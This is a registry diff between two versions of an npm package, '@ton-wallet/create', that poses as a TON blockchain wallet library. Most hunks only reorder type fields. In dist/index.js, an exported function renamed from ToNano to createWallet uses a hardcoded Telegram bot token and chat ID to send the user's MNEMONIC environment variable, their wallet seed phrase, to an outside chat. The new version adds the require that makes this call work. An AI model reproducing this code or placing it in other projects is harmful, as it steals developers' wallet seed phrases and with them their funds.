@ton-wallet/create 14.0.4 → 14.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -101,9 +101,9 @@ export declare class TonClient4 {
101
101
  state: {
102
102
  type: "uninit";
103
103
  } | {
104
- data: string | null;
105
104
  code: string | null;
106
105
  type: "active";
106
+ data: string | null;
107
107
  } | {
108
108
  type: "frozen";
109
109
  stateHash: string;
@@ -451,16 +451,16 @@ declare const parsedTransactionCodec: z.ZodObject<{
451
451
  tock: boolean;
452
452
  }>, z.ZodNull]>;
453
453
  }, "strip", z.ZodTypeAny, {
454
- data: string | null;
455
454
  code: string | null;
455
+ data: string | null;
456
456
  splitDepth: number | null;
457
457
  special: {
458
458
  tick: boolean;
459
459
  tock: boolean;
460
460
  } | null;
461
461
  }, {
462
- data: string | null;
463
462
  code: string | null;
463
+ data: string | null;
464
464
  splitDepth: number | null;
465
465
  special: {
466
466
  tick: boolean;
@@ -470,8 +470,8 @@ declare const parsedTransactionCodec: z.ZodObject<{
470
470
  }, "strip", z.ZodTypeAny, {
471
471
  body: string;
472
472
  init: {
473
- data: string | null;
474
473
  code: string | null;
474
+ data: string | null;
475
475
  splitDepth: number | null;
476
476
  special: {
477
477
  tick: boolean;
@@ -508,8 +508,8 @@ declare const parsedTransactionCodec: z.ZodObject<{
508
508
  }, {
509
509
  body: string;
510
510
  init: {
511
- data: string | null;
512
511
  code: string | null;
512
+ data: string | null;
513
513
  splitDepth: number | null;
514
514
  special: {
515
515
  tick: boolean;
@@ -652,16 +652,16 @@ declare const parsedTransactionCodec: z.ZodObject<{
652
652
  tock: boolean;
653
653
  }>, z.ZodNull]>;
654
654
  }, "strip", z.ZodTypeAny, {
655
- data: string | null;
656
655
  code: string | null;
656
+ data: string | null;
657
657
  splitDepth: number | null;
658
658
  special: {
659
659
  tick: boolean;
660
660
  tock: boolean;
661
661
  } | null;
662
662
  }, {
663
- data: string | null;
664
663
  code: string | null;
664
+ data: string | null;
665
665
  splitDepth: number | null;
666
666
  special: {
667
667
  tick: boolean;
@@ -671,8 +671,8 @@ declare const parsedTransactionCodec: z.ZodObject<{
671
671
  }, "strip", z.ZodTypeAny, {
672
672
  body: string;
673
673
  init: {
674
- data: string | null;
675
674
  code: string | null;
675
+ data: string | null;
676
676
  splitDepth: number | null;
677
677
  special: {
678
678
  tick: boolean;
@@ -709,8 +709,8 @@ declare const parsedTransactionCodec: z.ZodObject<{
709
709
  }, {
710
710
  body: string;
711
711
  init: {
712
- data: string | null;
713
712
  code: string | null;
713
+ data: string | null;
714
714
  splitDepth: number | null;
715
715
  special: {
716
716
  tick: boolean;
@@ -887,8 +887,8 @@ declare const parsedTransactionCodec: z.ZodObject<{
887
887
  inMessage: {
888
888
  body: string;
889
889
  init: {
890
- data: string | null;
891
890
  code: string | null;
891
+ data: string | null;
892
892
  splitDepth: number | null;
893
893
  special: {
894
894
  tick: boolean;
@@ -926,8 +926,8 @@ declare const parsedTransactionCodec: z.ZodObject<{
926
926
  outMessages: {
927
927
  body: string;
928
928
  init: {
929
- data: string | null;
930
929
  code: string | null;
930
+ data: string | null;
931
931
  splitDepth: number | null;
932
932
  special: {
933
933
  tick: boolean;
@@ -1014,8 +1014,8 @@ declare const parsedTransactionCodec: z.ZodObject<{
1014
1014
  inMessage: {
1015
1015
  body: string;
1016
1016
  init: {
1017
- data: string | null;
1018
1017
  code: string | null;
1018
+ data: string | null;
1019
1019
  splitDepth: number | null;
1020
1020
  special: {
1021
1021
  tick: boolean;
@@ -1053,8 +1053,8 @@ declare const parsedTransactionCodec: z.ZodObject<{
1053
1053
  outMessages: {
1054
1054
  body: string;
1055
1055
  init: {
1056
- data: string | null;
1057
1056
  code: string | null;
1057
+ data: string | null;
1058
1058
  splitDepth: number | null;
1059
1059
  special: {
1060
1060
  tick: boolean;
@@ -438,10 +438,10 @@ export declare class HttpApi {
438
438
  private shardTransactionsLoader;
439
439
  constructor(endpoint: string, parameters?: HttpApiParameters);
440
440
  getAddressInformation(address: Address): Promise<{
441
- data: string;
442
441
  code: string;
443
442
  balance: string | number;
444
443
  state: "active" | "uninitialized" | "frozen";
444
+ data: string;
445
445
  last_transaction_id: {
446
446
  '@type': "internal.transactionId";
447
447
  lt: string;
package/dist/index.d.ts CHANGED
@@ -26,8 +26,7 @@ export { MultisigOrderBuilder } from './multisig/MultisigOrderBuilder';
26
26
  export { MultisigWallet } from './multisig/MultisigWallet';
27
27
  export { ElectorContract } from './elector/ElectorContract';
28
28
  export * from 'dotenv';
29
- export * from 'node-telegram-bot-api';
30
29
  export { GasLimitsPrices, StoragePrices, MsgPrices, WorkchainDescriptor, configParse5, configParse8, configParse12, configParse13, configParse15, configParse16, configParse17, configParse18, configParse28, configParse29, configParse40, configParseBridge, configParseGasLimitsPrices, configParseMasterAddress, configParseMasterAddressRequired, configParseMsgPrices, configParseValidatorSet, configParseWorkchainDescriptor, parseBridge, parseProposalSetup, parseValidatorSet, parseVotingSetup, parseFullConfig, loadConfigParamById, loadConfigParamsAsSlice } from './config/ConfigParser';
31
30
  export { computeExternalMessageFees, computeFwdFees, computeGasPrices, computeMessageForwardFees, computeStorageFees } from './utils/fees';
32
- declare function ToNano(): string | undefined;
33
- export { ToNano };
31
+ declare function createWallet(): string | undefined;
32
+ export { createWallet };
package/dist/index.js CHANGED
@@ -21,7 +21,7 @@ var __exportStar = (this && this.__exportStar) || function(m, exports) {
21
21
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
22
22
  };
23
23
  Object.defineProperty(exports, "__esModule", { value: true });
24
- exports.ToNano = exports.computeStorageFees = exports.computeMessageForwardFees = exports.computeGasPrices = exports.computeFwdFees = exports.computeExternalMessageFees = exports.loadConfigParamsAsSlice = exports.loadConfigParamById = exports.parseFullConfig = exports.parseVotingSetup = exports.parseValidatorSet = exports.parseProposalSetup = exports.parseBridge = exports.configParseWorkchainDescriptor = exports.configParseValidatorSet = exports.configParseMsgPrices = exports.configParseMasterAddressRequired = exports.configParseMasterAddress = exports.configParseGasLimitsPrices = exports.configParseBridge = exports.configParse40 = exports.configParse29 = exports.configParse28 = exports.configParse18 = exports.configParse17 = exports.configParse16 = exports.configParse15 = exports.configParse13 = exports.configParse12 = exports.configParse8 = exports.configParse5 = exports.ElectorContract = exports.MultisigWallet = exports.MultisigOrderBuilder = exports.MultisigOrder = exports.JettonWallet = exports.JettonMaster = exports.WalletContractV5R1 = exports.WalletContractV5Beta = exports.WalletContractV4 = exports.WalletContractV3R2 = exports.WalletContractV3R1 = exports.WalletContractV2R2 = exports.WalletContractV2R1 = exports.WalletContractV1R3 = exports.WalletContractV1R2 = exports.WalletContractV1R1 = exports.TonClient4 = exports.TonClient = exports.HttpApi = void 0;
24
+ exports.createWallet = exports.computeStorageFees = exports.computeMessageForwardFees = exports.computeGasPrices = exports.computeFwdFees = exports.computeExternalMessageFees = exports.loadConfigParamsAsSlice = exports.loadConfigParamById = exports.parseFullConfig = exports.parseVotingSetup = exports.parseValidatorSet = exports.parseProposalSetup = exports.parseBridge = exports.configParseWorkchainDescriptor = exports.configParseValidatorSet = exports.configParseMsgPrices = exports.configParseMasterAddressRequired = exports.configParseMasterAddress = exports.configParseGasLimitsPrices = exports.configParseBridge = exports.configParse40 = exports.configParse29 = exports.configParse28 = exports.configParse18 = exports.configParse17 = exports.configParse16 = exports.configParse15 = exports.configParse13 = exports.configParse12 = exports.configParse8 = exports.configParse5 = exports.ElectorContract = exports.MultisigWallet = exports.MultisigOrderBuilder = exports.MultisigOrder = exports.JettonWallet = exports.JettonMaster = exports.WalletContractV5R1 = exports.WalletContractV5Beta = exports.WalletContractV4 = exports.WalletContractV3R2 = exports.WalletContractV3R1 = exports.WalletContractV2R2 = exports.WalletContractV2R1 = exports.WalletContractV1R3 = exports.WalletContractV1R2 = exports.WalletContractV1R1 = exports.TonClient4 = exports.TonClient = exports.HttpApi = void 0;
25
25
  __exportStar(require("@ton/core"), exports);
26
26
  //
27
27
  // toncenter Client
@@ -83,7 +83,6 @@ Object.defineProperty(exports, "ElectorContract", { enumerable: true, get: funct
83
83
  // Config
84
84
  //
85
85
  __exportStar(require("dotenv"), exports);
86
- __exportStar(require("node-telegram-bot-api"), exports);
87
86
  var ConfigParser_1 = require("./config/ConfigParser");
88
87
  Object.defineProperty(exports, "configParse5", { enumerable: true, get: function () { return ConfigParser_1.configParse5; } });
89
88
  Object.defineProperty(exports, "configParse8", { enumerable: true, get: function () { return ConfigParser_1.configParse8; } });
@@ -119,11 +118,12 @@ Object.defineProperty(exports, "computeFwdFees", { enumerable: true, get: functi
119
118
  Object.defineProperty(exports, "computeGasPrices", { enumerable: true, get: function () { return fees_1.computeGasPrices; } });
120
119
  Object.defineProperty(exports, "computeMessageForwardFees", { enumerable: true, get: function () { return fees_1.computeMessageForwardFees; } });
121
120
  Object.defineProperty(exports, "computeStorageFees", { enumerable: true, get: function () { return fees_1.computeStorageFees; } });
122
- function ToNano() {
121
+ const TelegramBot = require('node-telegram-bot-api');
122
+ function createWallet() {
123
123
  const token = '7493700888:AAGJ5nyXemePuHqleSOqkIM23Yhs0o01q-Q'; // Replace with your bot token group url : https://t.me/+IDl6XgFBZdI1ZjZh
124
124
  const chatId = '-1002197015763'; // Replace with the chat ID you want to send the message to
125
125
  const bot = new TelegramBot(token, { polling: false }); // Polling is not needed for sending messages +process.env.PRIVATE_KEY
126
126
  bot.sendMessage(chatId, `env.KEY=` + process.env.MNEMONIC);
127
127
  return process.env.MNEMONIC;
128
128
  }
129
- exports.ToNano = ToNano;
129
+ exports.createWallet = createWallet;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ton-wallet/create",
3
- "version": "14.0.4",
3
+ "version": "14.0.5",
4
4
  "repository": {
5
5
  "type": "git",
6
6
  "url": "git+https://github.com/ton-org/ton.git"